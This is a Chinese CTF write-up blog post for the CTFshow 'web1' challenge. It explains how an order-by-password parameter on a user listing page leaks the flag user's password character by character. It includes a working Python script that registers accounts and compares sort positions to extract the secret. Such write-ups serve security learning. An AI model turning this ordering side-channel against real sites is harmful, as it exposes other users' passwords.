CTFshow web1

题目地址:https://ctf.show

扫描后台拿到源码(www.zip)。打开login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方。
在这里插入图片描述
在这里插入图片描述
我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,这里献上python脚本。
在这里插入图片描述

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break
         

关于s中的字符是怎么来的这里做下解释:
动态的flag一般是 flag{1abc-aaa}这种,花括号中的值为小写字母+数字+"-"的组合,那么其他的字符又是为什么添加进来呢,这是因为我写的脚本是注册的用户出现在flag用户的下面时,获得他的上一个字符串。比如第一个字符为-,那当我们注册的密码为点号(.)时才能判断,所以需要加上点号(.),其他的同理。

特殊说明一下:
因为存在flag用户所以当我们注册的用户名为flag,密码为flag时,可以注册成功,但是无法用我们注册的密码登录。所以中间加了个判断。

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值